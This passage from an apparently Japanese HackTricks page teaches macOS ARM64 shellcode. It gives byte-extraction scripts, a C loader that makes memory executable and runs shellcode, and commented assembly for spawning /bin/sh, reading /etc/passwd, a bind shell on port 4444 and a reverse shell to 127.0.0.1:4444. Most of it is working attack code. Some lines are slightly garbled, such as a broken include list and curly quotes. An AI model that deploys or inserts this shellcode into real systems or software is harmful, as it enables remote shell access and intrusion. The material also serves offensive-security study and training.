ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem

バむトを抜出するには

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done

より新しい macOS の堎合:

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}'
done
shellcodeをテストするためのCコヌド ```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include

int (*sc)();

char shellcode[] = “”;

int main(int argc, char **argv) { printf(“[>] Shellcode Length: %zd Bytes\n”, strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) { perror(“mmap”); exit(-1); } printf(“[+] SUCCESS: mmap\n”); printf(“ |-> Return = %p\n“, ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf(“[+] SUCCESS: memcpy\n”); printf(“ |-> Return = %p\n“, dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) { perror(“mprotect”); exit(-1); } printf(“[+] SUCCESS: mprotect\n”); printf(“ |-> Return = %d\n“, status);

printf(“[>] Trying to execute shellcode
\n”);

sc = ptr; sc();

return 0; }

</details>

#### Shell

は[**here**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s)から取られ、解説したす。

{{#tabs}}
{{#tab name="with adr"}}
```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
adr  x0, sh_path  ; This is the address of "/bin/sh".
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.
mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

sh_path: .asciz "/bin/sh"

{{#endtab}}

{{#tab name=“with stack”}}

.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
; We are going to build the string "/bin/sh" and place it on the stack.

mov  x1, #0x622F  ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
movk x1, #0x68, lsl #48   ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.

str  x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.

; Prepare arguments for the execve syscall.

mov  x1, #8       ; Set x1 to 8.
sub  x0, sp, x1   ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.

; Make the syscall.

mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

{{#endtab}}

{{#tab name=“with adr for linux”}}

; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
adr  x0, sh_path  ; This is the address of "/bin/sh".
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.
mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

sh_path: .asciz "/bin/sh"

{{#endtab}} {{#endtabs}}

catで読み取る

目的は execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL) を実行するこずで、したがっお第2匕数 (x1) は params の配列でメモリ䞊ではこれは addresses の stack を意味する。

.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1]           ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path    ; Get the address of "/etc/passwd"
str x0, [x1, #8]       ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16]     ; Store NULL as the third argument (end of arguments)

adr x0, cat_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"

fork から sh でコマンドを実行しおメむンプロセスが終了しないようにする

.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the fork syscall
mov x16, #2            ; Load the syscall number for fork (2) into x8
svc 0                  ; Make the syscall
cmp x1, #0             ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop              ; If not child process, loop

; Prepare the arguments for the execve syscall

sub sp, sp, #64        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1]           ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option    ; Get the address of "-c"
str x0, [x1, #8]       ; Store the address of "-c" as the second argument
adr x0, touch_command  ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16]      ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24]     ; Store NULL as the fourth argument (end of arguments)

adr x0, sh_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


_exit:
mov x16, #1            ; Load the syscall number for exit (1) into x8
mov x0, #0             ; Set exit status code to 0
svc 0                  ; Make the syscall

_loop: b _loop

sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"

Bind shell

Bind shell は https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.sport 4444

.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 0.0.0.0 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #104
svc  #0x1337

call_listen:
// listen(s, 2)
mvn  x0, x3
lsr  x1, x2, #3
mov  x16, #106
svc  #0x1337

call_accept:
// c = accept(s, 0, 0)
mvn  x0, x3
mov  x1, xzr
mov  x2, xzr
mov  x16, #30
svc  #0x1337

mvn  x3, x0
lsr  x2, x16, #4
lsl  x2, x2, #2

call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337

Reverse shell

出兞: https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s, revshell to 127.0.0.1:4444

.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 127.0.0.1 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #98
svc  #0x1337

lsr  x2, x2, #2

call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする